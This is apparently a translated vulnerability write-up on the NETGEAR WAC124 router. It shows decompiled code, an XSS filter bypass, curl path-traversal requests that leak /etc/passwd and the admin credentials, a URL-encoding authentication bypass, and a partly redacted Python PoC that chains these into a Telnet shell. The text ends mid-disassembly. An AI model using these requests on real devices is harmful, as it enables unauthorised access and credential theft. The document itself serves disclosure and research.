点击上方蓝字“Ots安全”一起玩耍
前言
嗨,我是Flatt Security Inc. 的stypr ( @stereotype32 )。
去年,我写了一篇关于日本 OSS 产品中 0days 的技术解释的博文。
从那以后,我在各种产品中发现了很多漏洞。不幸的是,我发现的大多数错误都没有立即修复,所以直到今天我才有机会分享我发现的一些令人兴奋的漏洞。
本文将解释我是如何在 NETGEAR 的 WAC124(AC2000) 路由器中发现各种漏洞并将其中一些漏洞链接到未经身份验证的命令执行中的,没有任何先决条件。
我花了大约一周的时间找到所有这些错误,并将这些错误链接到两个不同的漏洞利用中,一个需要先决条件,一个不需要先决条件。
不幸的是,NETGEAR 只为 Nighthawk 夜鹰和奥秘路由器专门发放奖励,这意味着我没有收到任何奖励。但是,除了渗透测试和评估之外,这是我第一次利用此路由器,因此利用它很有趣。
这太有趣了,我计划在不久的将来在其他类型的路由器上挖掘更多漏洞。我要感谢 NETGEAR 团队非常友好和快速的支持。
分析前
在开始对嵌入式设备进行分析之前,我们还需要检查设备中可用的组件以及路由器如何存储固件。这样做是为了确保我有效地利用我的时间,不会错过任何看不见的关键因素。
路由器规格
在阅读硬件规范时,我们可以注意到 CPU 是为 MIPS 架构构建的。
这次我使用了 Ghidra(https://ghidra-sre.org/),因为 Ghidra 在反编译基于 MIPS 的二进制文件时似乎提供了不错的性能和质量。
此外,路由器有一个用于媒体共享的 USB 端口,稍后将用于利用漏洞。
WAC124 规范
转储固件
值得注意的是,某些路由器/物联网设备需要一些基本的硬件知识才能从路由器转储固件,甚至需要您通过串行(UART)端口访问调试/开发终端。
幸运的是,NETGEAR 固件一般都可以从官网获得,所以我们需要谷歌一下固件型号并下载合适的固件。撰写本文时,WAC124 的最新(易受攻击)版本为 V1.0.4.6。该bug在V1.0.4.7正式修复
下载固件后,解压固件非常简单。下载并安装binwalk( https://github.com/ReFirmLabs/binwalk ) 并squashfs-tools提取固件。
如下所示,可以使用binwalk.
# binwalk -e ./WAC124.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x8C713BD5, created: 2018-08-22 18:51:44, image size: 139968 bytes, Data Address: 0xA0200000, Entry Point: 0xA0200000, data CRC: 0xFDC782B2, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: none, image name: "NAND Flash I"
113984 0x1BD40 U-Boot version string, "U-Boot 1.1.3 (Aug 22 2018 - 14:51:38)"
262074 0x3FFBA Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
2097152 0x200000 uImage header, header size: 64 bytes, header CRC: 0x3F03E59E, created: 2020-03-20 08:48:54, image size: 3710717 bytes, Data Address: 0x80801000, Entry Point: 0x8080D1D0, data CRC: 0x288B4EF5, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
2097216 0x200040 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9493440 bytes
6291456 0x600000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 20009095 bytes, 2238 inodes, blocksize: 131072 bytes, created: 2020-03-20 08:48:44
48234496 0x2E00000 Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
48234624 0x2E00080 Zip archive data, at least v2.0 to extract, compressed size: 27512, uncompressed size: 182956, name: ui.xml
48262193 0x2E06C31 Zip archive data, at least v2.0 to extract, compressed size: 13678, uncompressed size: 89652, name: msg.xml
48275929 0x2E0A1D9 Zip archive data, at least v2.0 to extract, compressed size: 43820, uncompressed size: 199506, name: hlp.js
48320002 0x2E14E02 End of Zip archive
50331648 0x3000000 Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
50331776 0x3000080 Zip archive data, at least v2.0 to extract, compressed size: 28579, uncompressed size: 172930, name: ui.xml
50360412 0x300705C Zip archive data, at least v2.0 to extract, compres
binwalk 的输出
# cd _WAC124.bin.extracted/squashfs-root
# ls -al
total 156
13 root root 4096 Jun 21 2016 .
127 root root 69632 Sep 6 18:31 ..
lrwxrwxrwx 1 root root 9 Mar 20 2020 bin -> usr/sbin/
drwxrwxrwx 2 root root 4096 Aug 15 2015 data
2 root root 4096 Oct 19 2015 dev
lrwxrwxrwx 1 root root 8 Mar 20 2020 etc -> /tmp/etc
lrwxrwxrwx 1 root root 11 Mar 20 2020 etc_ro -> /tmp/etc_ro
2 root root 4096 Dec 2 2012 home
lrwxrwxrwx 1 root root 11 Mar 20 2020 init -> bin/busybox
5 root root 12288 Mar 20 2020 lib
2 root root 4096 Dec 2 2012 media
lrwxrwxrwx 1 root root 8 Mar 20 2020 mnt -> /tmp/mnt
6 root root 4096 Mar 20 2020 opt
2 root root 4096 Nov 13 2000 proc
lrwxrwxrwx 1 root root 9 Mar 20 2020 sbin -> usr/sbin/
2 root root 4096 Nov 17 2008 sys
2 root root 4096 Jul 29 2000 tmp
10 root root 4096 Jun 21 2016 usr
lrwxrwxrwx 1 root root 8 Mar 20 2020 var -> /tmp/var
lrwxrwxrwx 1 root root 8 Mar 20 2020 www -> /tmp/www
9 root root 32768 Mar 20 2020 www.eng
路由器目录结构
-
本文的一些关键文件
-
以下是本文中提到的文件列表。
-
/bin/mini_httpd, mini_httpd: HTTP 服务器守护进程
-
/bin/setup.cgi, setup.cgi: 用于处理配置的 CGI(ELF Binary)
-
/www.eng/: httpd 服务器的根目录
-
/etc/htpasswd: 用于管理页面身份验证的未加密凭据的明文文件 — 文件格式为username:password
查找跨站点脚本 (XSS)
发现一些基本漏洞(例如跨站点脚本(XSS))通常是一个好主意,因为许多嵌入式设备通常没有为它们的 Web 组件正确清理输入。
考虑到这一点,我检查了一些可能的 HTM/HTML 文件/www.eng/,我发现了一个非常有趣的类似模板的参数,称为@usb_opener_htm#.usb_new_fld.htm
...
<script>
...
function browseDisk()
{
var cf = document.forms[0];
dataToHidden(cf);
cf.todo.value = "browse";
cf.next_file.value = "usb_fld_tree.htm";
return true;
}
function end()
{
opener.location.href = "@usb_opener_htm#";
self.close();
}
...
</script>
我决定更深入地研究一下它是如何工作的,发现有一个函数 html_parser 可以从访问的文件中解析模板。
我没有详细介绍这个函数,但这个函数的作用是
-
读取请求的文件,并进行一些文件扩展名检查(我们将在本文后面讨论)
-
查找@variable#
-
将模板字符串替换为实际值。
int html_parser(char *filename,undefined4 param_2,char **param_3)
{
...
fp = open(filename,0);
...
read(fp,buf,0xffff);
close(fp);
...
tmp = strtok(buf,"@");
while (tmp != (char *)0x0) {
fputs(tmp,stdout);
tmp = strtok((char *)0x0,"#");
if (tmp != (char *)0x0) {
memset(acStack131120,0,0xffff);
ppcVar1 = param_3;
do {
while( true ) {
ppcVar2 = ppcVar1;
if (*ppcVar2 == (char *)0x0) goto LAB_00423e54;
if (ppcVar2[1] != (char *)0x0) break;
ppcVar1 = ppcVar2 + 6;
}
fp = strcmp(tmp,*ppcVar2);
ppcVar1 = ppcVar2 + 6;
} while (fp != 0);
...
LAB_00423e54:
fputs(acStack131120,stdout);
}
tmp = strtok((char *)0x0,"@");
}
ret = 0;
}
}
return ret;
}
setup.cgi: html_parser
此外,似乎还有其他功能可以添加usb_opener_htm等等nvram,但我不会详细介绍它,因为内容可能会变得太长而无法放入单个博客文章中。
但是,似乎某些恶意输入已被服务器阻止。
403 Forbidden 由FindForbidValue触发
所以我决定检查一下这个main函数setup.cgi,我发现一些来自 HTTP 请求的非法输入被名为 的函数阻止了FindForbidValue。
int main(undefined4 param_1,char **param_2)
{
...
int iVar8; // parsed input ptrptr?
...
if (iVar8 == 0) {
iVar8 = cgi_input_parse(param_1,param_2);
}
iVar1 = FindForbidValue(iVar8);
if (iVar1 != 0) {
iVar8 = (**(code **)(local_30 + -0x7ab0))(0x4bd2e0,&DAT_004a673c);
if (iVar8 != 0) {
(**(code **)(local_30 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x17b);
(**(code **)(local_30 + -0x7b40))("Invalid input value!n",iVar8);
(**(code **)(local_30 + -0x7a9c))(iVar8);
}
send_forbidden();
return 0;
}
...
}
setup.cgi:主要
在阅读 的反编译代码时FindForbidValue,我发现一些参数如;,||和反引号 ( `) 被过滤器屏蔽了,但是 XSS 似乎没有被正确屏蔽。
只要绕过这些检查,XSS 肯定会起作用。
uint FindForbidValue(int **param_1)
{
int iVar1;
char **ppcVar2;
char *__s1;
undefined4 uVar3;
char **ppcVar4;
char *__s;
char **ppcVar5;
uVar3 = 0;
if (((param_1 != (int **)0x0) && ((char **)*param_1 != (char **)0x0)) &&
(ppcVar2 = (char **)*param_1, param_1[2] != (int *)0x0)) {
do {
do {
ppcVar4 = (char **)ppcVar2[1];
if (ppcVar4 == (char **)0x0) {
__s = *(char **)(*ppcVar2 + 4);
__s1 = strchr(__s,0x60);
if (__s1 != (char *)0x0) {
return 1;
}
__s1 = strstr(__s,"||");
if (__s1 != (char *)0x0) {
return 1;
}
__s1 = strchr(__s,0x3b);
return (uint)(__s1 != (char *)0x0);
}
ppcVar5 = (char **)*ppcVar2;
__s = ppcVar5[1];
__s1 = strchr(__s);
ppcVar2 = ppcVar4;
} while (((__s1 == (char *)0x0) && (__s1 = strchr(__s,0x3b), __s1 == (char *)0x0)) &&
(__s1 = strstr(__s,"||"), __s1 == (char *)0x0));
__s1 = *ppcVar5;
iVar1 = strcmp(__s1,"ssid");
} while (((iVar1 == 0) || (iVar1 = strcmp(__s1,"ssid_an"), iVar1 == 0)) ||
((iVar1 = strcmp(__s1,"ssid_2g"), iVar1 == 0 ||
(iVar1 = strcmp(__s1,"ssid_new24"), iVar1 == 0))));
uVar3 = 1;
}
return uVar3;
}
setup.cgi: FindForbidValue
经过几次试验,我使 XSS 可靠地工作,没有任何问题。
XSS 有效负载的视图源
XSS 载荷的结果
但是,我的主要目标是在未经身份验证的用户身份时触发 shell。
我决定认真研究其他有用的功能。虽然发现这些漏洞对一些安全研究人员来说可能看起来毫无用处,但发现 XSS 帮助我在开始静态分析之前刷新了我的想法。
查找未经身份验证的任意文件读取
在手动静态分析的帮助下进行next_file测试时,我从参数中发现了一些奇怪的行为,setup.cgi
当用户未登录时,使用 , , 访问文件.htm会将.html用户.asp重定向到登录页面,而使用.png,.xml和其他类型的图像扩展名访问文件根本不会返回任何响应。
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../x.htm'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../x.html'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../x.asp'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
带有 htm/html/asp 扩展名的文件名重定向到登录页面
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../x.png'
curl: (52) Empty reply from server
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../x.xml'
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../x.jpg'
curl: (52) Empty reply from server
带有 png/xml 的文件名不返回任何响应
但是,我们在这里看到了一些输出异常。出于某种原因,.xml不返回空响应。所以,我决定通过路径遍历读取现有文件,后来发现.xml可以读取现有文件而next_file参数无法读取现有图像文件。
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../usr/etc/simplecfgservice.xml'
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../../www.eng/image/sso/BG-Image.png'
curl: (52) Empty reply from server
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/image/sso/BG-Image.png'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
模棱两可的行为
现在我们有两件事要弄清楚。
-
为什么xml文件返回输出而.png文件.jpg没有?它崩溃了吗?
-
为什么htm, asp,html文件返回登录页面?
分析模板例程
我决定setup.cgi再看一遍,并意识到当参数传递给函数html_parser时总是会调用它。next_filemain
int main(undefined4 param_1,char **param_2)
{
...
pcVar1 = (char *)find_val(iVar8,"next_file");
if (pcVar1 == (char *)0x0) {
iVar8 = (**(code **)(puVar10 + -0x7ab0))("/dev/console",&fopen);
if (iVar8 == 0) {
return 0;
}
(**(code **)(puVar10 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x24a);
(**(code **)(puVar10 + -0x7b40))("###next_file_injection_detected!###n",iVar8);
(**(code **)(puVar10 + -0x7a9c))(iVar8);
return 0;
}
...
LAB_00405d08:
html_parser(pcVar1,iVar8,*(char ***)(puVar10 + -0x7fb8));
return 0;
}
setup.cgi:主要
回顾一下这个html_parser函数,看起来服务器检查了next_filecontains (NOT end with, strstr)的值.html,.xml还是.html.
undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
char **ppcVar1;
int debug_fp;
int fp;
char *tmp;
FILE *log_fp;
undefined4 ret;
char **ppcVar2;
char acStack131120 [65536];
char buf [65544];
...
tmp = strstr(filename,".htm");
if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
(tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
return 0xffffffff;
}
fp = open(filename,0);
if (fp < 0) {
fprintf(stdout,"Can't open file %s",filename);
ret = 0xffffffff;
}
else {
read(fp,buf,0xffff);
close(fp);
tmp = strstr(filename,".xml");
if (tmp == (char *)0x0) {
tmp = "text/html";
}
else {
tmp = "text/xml; charset=utf-8";
}
mime_header(tmp);
if (*filename == 'h') {
fputs(buf,stdout);
ret = 0;
}
...
但正如我们在前几次试验中看到的那样,登录页面是为asp,html和htm扩展返回的,并且它似乎没有通过这个例程。
后来我发现这种行为是由mini_httpd路由器的HTTP守护进程引起的。我还假设这个.png和其他图像扩展名也受到守护进程的影响,所以我决定不进一步查看,因为.xml此时我们有文件扩展名。
因此,我们知道包含.xml文件名的任何有效文件都将正确打开。我们接下来应该做什么?
利用触发系统shell
我们再来看看html_parser函数。
tmp = strstr(filename,".htm");
if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
(tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
return 0xffffffff;
}
fp = open(filename,0);
它strstr用于文件扩展名检查,这意味着它确实在提供的文件名中查找文件扩展名的存在,但这并不意味着路径必须以那些给定的文件扩展名之一结尾。
这可能意味着文件路径(例如path/to/file/blah.xml/1234或path/test.xml.asdf)仍被视为有效文件路径。
所以我们现在可以做的是创建一个有效的文件夹,例如valid_folder.xml并从该文件夹进行路径遍历以读取任意文件。
现在,剩下的问题是创建一个包含.xml其名称的无效文件夹。如本文前面所述,我们在此路由器上有一个 USB 端口。所以我决定evil.xml在我的 USB 驱动器上创建一个名为的文件夹,并将这个恶意驱动器插入路由器。
PS F:> tree fv /F
F:
└─evil.xml
下一步是在路由器中找到安装的 USB 驱动器的正确位置。发现挂载的U盘位置的格式是在/mnt/shares/%c,从setup.cgi.
考虑到所有这些事情,我决定暴力破解驱动器的名称,然后……
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/A/evil.xml/../../../../../etc/passwd'
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/B/evil.xml/../../../../../etc/passwd'
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/C/evil.xml/../../../../../etc/passwd'
...
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/passwd'
root::0:0:root:/:/bin/sh
nobody::0:0:Nobody:/:/sbin/sh
$ curl -H "User-Agent: Mozilla/5.0"
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/htpasswd'
admin:Test1234
暴力破解 %c 以查找驱动器目录
瞧!它就像一个魅力。我们现在掌握了管理员的凭据。
/etc/passwd 的内容
从现在开始,我们只需要以管理员身份登录,从调试页面启用 Telnet,然后生成 shell。
RCE#1 利用 PoC(有先决条件)
假设路由器在没有任何凭据的情况下打开了 SMB 服务器,我们可以匿名登录 SMB 服务器并上传exploit.xml挂载磁盘上命名的文件夹并执行任意文件读取以泄漏管理员的凭据。
为了防止人们在整个互联网上运行漏洞,我决定从实际漏洞中删除一些代码。不过,让这个片段可用应该不会太难。
def smb_upload_folder():
"""
Upload xml file via SMB
"""
anonymous_smb_and_upload("exploit.xml")
def perform_path_traversal():
"""
Performs the path traversal attack in three steps
1. Perform a path traversal to check if the bug works
2. Do SMB bruteforce to leak /etc/passwd
- 00492900 ... "/tmp/mnt/shares/%c/%s"
- We just need to bruteforce from A ~ Z
3. Leak remaining important files
"""
found_char = None
for _char in string.ascii_uppercase:
payload = f"../mnt/shares/{_char}/exploit.xml/../../../../etc/passwd"
result = try_path_traversal(payload)
# check if /etc/passwd is leaked
if "root::0:0:root:/:/bin/sh" in resp:
print("[.] Successfully leaked /etc/passwd!")
print(resp)
found_char = guess_char
break
if not found_char:
print("[!] Failed to exploit..")
return False
# Leak /etc/htpasswd
payload = f"../mnt/shares/{found_char}/exploit.xml/../../../../etc/htpasswd"
result = try_path_traversal(payload)
print(f"[.] Successfully leaked /etc/htpasswd!")
print(result)
return result
def login(username, password):
"""
Login with username and password
"""
return session
def enable_debug_mode(session):
"""
Access debug.htm to enable debug mode
"""
return True
def trigger_shell(htpasswd):
"""
Use the /etc/htpasswd to login as admin.
After authentication, enable debug mode and get shell.
"""
username, password = htpasswd.strip().split(":")
admin_session = login(username, password)
enable_debug_mode(admin_session)
with Telnet('www.routerlogin.net', 23) as session:
session.read_until(b"login: ")
session.write(username.encode() + b"n")
session.write(password.encode() + b"n")
session.interact()
if __name__ == "__main__":
smb_upload_folder()
htpasswd = perform_path_traversal()
if htpasswd:
print("[.] Path Traversal Success! Let's get shell now..")
trigger_shell(htpasswd)
else:
print("[-] Failed..")
还没结束!
此漏洞利用的缺点是实现此攻击的前提条件。
由于我的主要目标是在没有未经身份验证且没有任何先决条件的情况下获取 shell,因此我决定更深入地研究其他文件,例如mini_httpd.
查找身份验证绕过
正如前面在任意文件读取中看到的,有些文件扩展名似乎没有通过setup.cgi,所以我决定深入研究一下mini_httpd,这是路由器的 HTTP 守护程序模块。
有趣的是,这mini_httpd似乎是原始 ACME 的http://www.acme.com/software/mini_httpd/项目的定制版本。
不幸的是,定制的构建似乎与原始构建有些不同,所以我决定不看官方源代码。
反汇编mini_httpd看了一会儿代码,在一个叫做 的函数中似乎有一些检查,path_exist代码有点意思:
uint path_exist(char *requested_path,char **s_currentstring_html,char *haystack)
{
char *needle;
int iVar1;
char *pcVar2;
char bufPath [1024];
char *tmp;
...
needle = strstr(requested_path,".gif");
if ((((needle == (char *)0x0) && (needle = strstr(requested_path,".css"), needle == (char *)0x0))
&& (needle = strstr(requested_path,".js"), needle == (char *)0x0)) &&
(((needle = strstr(requested_path,".xml"), needle == (char *)0x0 &&
(needle = strstr(requested_path,".png"), needle == (char *)0x0)) &&
(needle = strstr(requested_path,".jpg"), needle == (char *)0x0)))) {
return 0;
}
needle = strstr(requested_path,".htm");
if (needle != (char *)0x0) {
return 0;
}
needle = strstr(requested_path,"html");
if (needle == (char *)0x0) {
...
needle = strstr(requested_path,"todo=");
if (needle != (char *)0x0) {
return 0;
}
...
memset(bufPath,0,0x400);
strncpy(bufPath,requested_path,0x3ff);
iVar1 = strncmp(bufPath,"/setup.cgi?",0xb);
if (iVar1 == 0) {
needle = strstr(bufPath,"next_file=");
if (needle == (char *)0x0) {
return 1;
}
pcVar2 = strchr(needle,0x26);
if (pcVar2 == (char *)0x0) {
return 1;
}
...
*pcVar2 = ' ';
pcVar2 = strstr(needle,".gif");
if (pcVar2 != (char *)0x0) {
return 1;
}
...
pcVar2 = strstr(needle,".js");
if (pcVar2 != (char *)0x0) {
return 1;
}
pcVar2 = strstr(needle,".png");
}
else {
...
needle = strstr(bufPath,".xml");
if (needle != (char *)0x0) {
return 1;
}
pcVar2 = strstr(bufPath,".png");
needle = bufPath;
}
if (pcVar2 != (char *)0x0) {
return 1;
}
needle = strstr(needle,".jpg");
return (uint)(needle != (char *)0x0);
}
return 0;
}
mini_httpd: path_exist
乍一看似乎太复杂了。但是,在阅读了这个函数及其相关代码后,我发现这些代码的全部目的只是为了确保未经身份验证的用户只能访问某些类型的文件扩展名。
这个path_exist功能基本上
-
检查您的路径是否不包含.htm,.html等.asp。
-
检查您的路径是否不包含一些可能导致意外行为的危险字符,例如todo等。
绕过一些过滤器
我决定先绕过todo=过滤器,因为这个参数对于我们向服务器执行一些重要请求是必不可少的。
让我们首先尝试使用我们手中现有的有效载荷。
$ curl -H 'User-Agent: Mozilla/5.0'
'http://192.168.0.100/setup.cgi?next_file=../../../../../usr/etc/simplecfgservice.xml'
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
现在,让我们看看当我们从参数名称e更改为时会发生什么。%65
$ curl -H 'User-Agent: Mozilla/5.0'
'http://192.168.0.100/setup.cgi?next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
即使对查询字符串进行编码,它仍然可以完美运行。在这种情况下,我们现在知道整个查询字符串是在内部解码的。
现在,让我们添加todo=请求。
如我们所见,服务器将用户重定向到登录页面(未经授权的请求),因为它被视为无效路径。
如果我们从 todo 参数的名称更改d为?%64
$ curl -H 'User-Agent: Mozilla/5.0'
'http://192.168.0.100/setup.cgi?to%64o=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<html>
<head>
<link rel="stylesheet" href="style/basic.css?v=1046">
<script language=javascript type=text/javascript src=funcs.js></script>
<script language=javascript type=text/javascript src="basic.js?v=1046"></script>
<script language=javascript type=text/javascript src=top.js></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<title>NETGEAR Router WAC124</title>
<meta http-equiv=content-type content='text/html; charset=UTF-8'>
<meta content="MSHTML 6.00.2800.1141" name="GENERATOR">
...
var guest="0";
var sso_error="0";
...
</script>
<body onload="loadvalue();" onResize="change_size();">
<form onsubmit="return false">
<div id="top">
<iframe name="topframe" id="topframe" src="top.html" allowtransparency="true" scrolling="no" height="100%" width="100%" frameborder="0"></iframe>
</div>
<div id="container" class="container_center">
<div id="middle">
<div id="menu">
<div id="home" class="basic_button_purple" onclick="click_action('home');"><b><span languageCode = "3059">Home</span></b></div>
<div id="cloud" class="basic_button" style="display: none" onclick="click_action('cloud');"><b><span languageCode="3715">NETGEAR Cloud - Cloud Sharing Center</span></b></div>
<div id="internet" class="basic_button" onclick="click_action('internet');"><b><span languageCode = "70">Internet</span></b></div>
<div id="wireless" class="basic_button" onclick="basic_menu_color_change('wireless');top.formframe.location.href='setup.cgi?next_file=WLG_dualband_idx.htm&todo=init_wireless_1';"><b><span languageCode = "552">Wireless</span></b></div>
<div id="attached" class="basic_button" onclick="click_action('attached');"><b><span languageCode = "190">Attached Devices</span></b></div>
<!--
<div id="parental" class="basic_button" onclick="click_action('parental');"><b><span languageCode = "3112">Parental Controls</span></b></div>
-->
<div id="readyshare" class="basic_button" style="display: none" onclick="click_action('readyshare');"><b><span languageCode = "3226">ReadySHARE</span></b></div>
<!--
<div id="guest" class="basic_button" style="display: none" onclick="click_action('guest');"><b><span languageCode = "470">Guest Network</span></b></div>
-->
<div id="turbovideo" class="basic_button" style="display: none" onclick="click_action('turbovideo');"><b><span languageCode = "3227">FastLane</span></b></div>
<div id="greendown" class="basic_button" style="display: none" onclick="click_action('greendown');"><b><span languageCode = "2038">NETGEAR Downloader</span></b></div>
</div>
<!--div id="mini_height"> </div-->
<div id="formframe_div">
<iframe name="formframe" id="formframe" allowtransparency="true" height="100%" width="100%" scrolling="no" frameborder="0" > </iframe>
</div>
<div id="footer" class="footer"> <img class="footer_img" src="image/footer/footer.gif">
<div id="support"> <b languageCode = "3057">HELP & SUPPORT</b> <a target="_blank" href=" http://www.netgear.com/support/product/WAC124.aspx#docs" languageCode = "489">Documentation</a> | <a target="_blank" href="http://www.netgear.com/support/product/WAC124.aspx" languageCode = "3241">Online Support</a> | <a target="_blank" href="https://www.netgear.com/support/product/WAC124.aspx#download" languageCode = "10809">Downloads</a> | <a target="_blank" href="https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL">GPL</a> </div>
<div id="search" align=right> <b languageCode = "3139">SEARCH HELP</b>
<input type="text" name="search" value="Enter Search Item" onKeyPress="detectEnter('num',event);" onFocus="this.select();" languageCode = "3042" >
<input id="search_button" class="search_button" type="button" name="dosearch" value="GO" onClick="do_search();" languageCode = "3055">
</div>
</div>
</div>
</div>
</form>
<script language="javascript" type="text/javascript" src="langs.js"></script>
</body>
由于某种未知的原因,传递todo=返回了 authenticated 的输出index.htm,它应该只显示给经过身份验证的用户。
至此,我们现在知道可以绕过此字符串检查,并且我们还知道服务器正在发生一些意外行为。
模糊 HTTP 请求
在查询字符串中进行了一些可能的绕过之后,我还发现了 curl 发送 HTTP 请求时的一些奇怪行为。
$ curl 'http://192.168.0.100/test' -v
* Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /test HTTP/1.1
> Host: 192.168.0.100
> User-Agent: curl/7.64.1
> Accept: */*
>
(null) 403 Forbidden
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 11:32:54 GMT
Cache-Control: no-cache,no-store
Content-Type: text/html; charset=%s
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<title>403 Forbidden</title>
</head>
<body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">
<h4>403 Forbidden</h4>
Curl is forbidden
</BODY>
</HTML>
* Closing connection 0
你看到第一行输出了吗?它(null) 403 Forbidden作为响应发送。
此时,我停下来进一步思考因为这mini_httpd似乎它有许多似乎具有挑战性的未知行为追查根本原因。我没有进一步研究,而是决定编写一个愚蠢的 HTTP 路径模糊器来找出一些可能绕过mini_httpd.
在运行 fuzzer 20~30 分钟后,我能够绕过身份验证并在没有任何事先身份验证的情况下获得访问权限。
我正在为你的作业移除实际的有效载荷。创建 HTTP fuzzer 对您来说也应该很有趣。我认为仍然有可能在其他 NETGEAR 模型上找到身份验证绕过,所以这个只适合你。似乎其他一些安全研究人员通过模糊路径发现了类似或相同的错误,因此创建自己的模糊器可能是值得的。🙂
无论如何,我刚刚开发了一个简单的带有有效路径前缀的哑模糊器。你可以创建类似我的 fuzzer 的东西,并对 HTTP 协议执行一些模糊测试。
尝试使用模糊路径绕过身份验证
寻找命令注入
我们现在有一个有效的身份验证绕过,我们现在可以轻松地打开 Telnet 控制台以访问 shell。但是我们还有一些遗留问题;我们没有管理员的凭据。
尽管我们读取了任意文件,但我们不会谈论它,因为它需要一些先决条件才能泄露凭据。
再次,回顾setup.cgi代码,我发现了一个叫做COMMAND函数的东西,这个函数看起来像一个典型的system()函数,但支持格式字符串。
**************************************************************
THUNK FUNCTION *
**************************************************************
thunk undefined COMMAND()
<EXTERNAL>::COMMAND :
assume t9 = 0x4a0e10
undefined v0:1 <RETURN>
:COMMAND XREF[210]: Entry Point(*), :
vuln_func1:00409ad8(c),
vuln_func1:00409b2c(c),
vuln_func1:00409be0(c),
FUN_0040b9ec:0040bb88(c),
FUN_0040ca70:0040cf98(c),
FUN_0040ca70:0040d04c(c),
FUN_0040ca70:0040d07c(c),
FUN_0040d808:0040d8cc(c),
FUN_0040d808:0040d8e4(c),
FUN_004138f8:00413930(c),
FUN_00413998:004139cc(c),
FUN_00413a50:00414c5c(c),
FUN_00415f94:00415fa4(j),
FUN_00450968:00450a88(c),
FUN_00450968:00450aa0(c),
FUN_0046a880:0046a990(c),
FUN_004858dc:004859e0(c),
FUN_004858dc:004859f8(c),
del_folder:00495aa8(c), [more]
004a0e10 10 80 99 8f lw t9,-0x7ff0(gp)=>__DT_PLTGOT = 00000000
assume t9 = <UNKNOWN>
004a0e14 21 78 e0 03 move t7,ra
004a0e18 09 f8 20 03 jalr t9
004a0e1c 9c 01 18 24 _li t8,0x19c
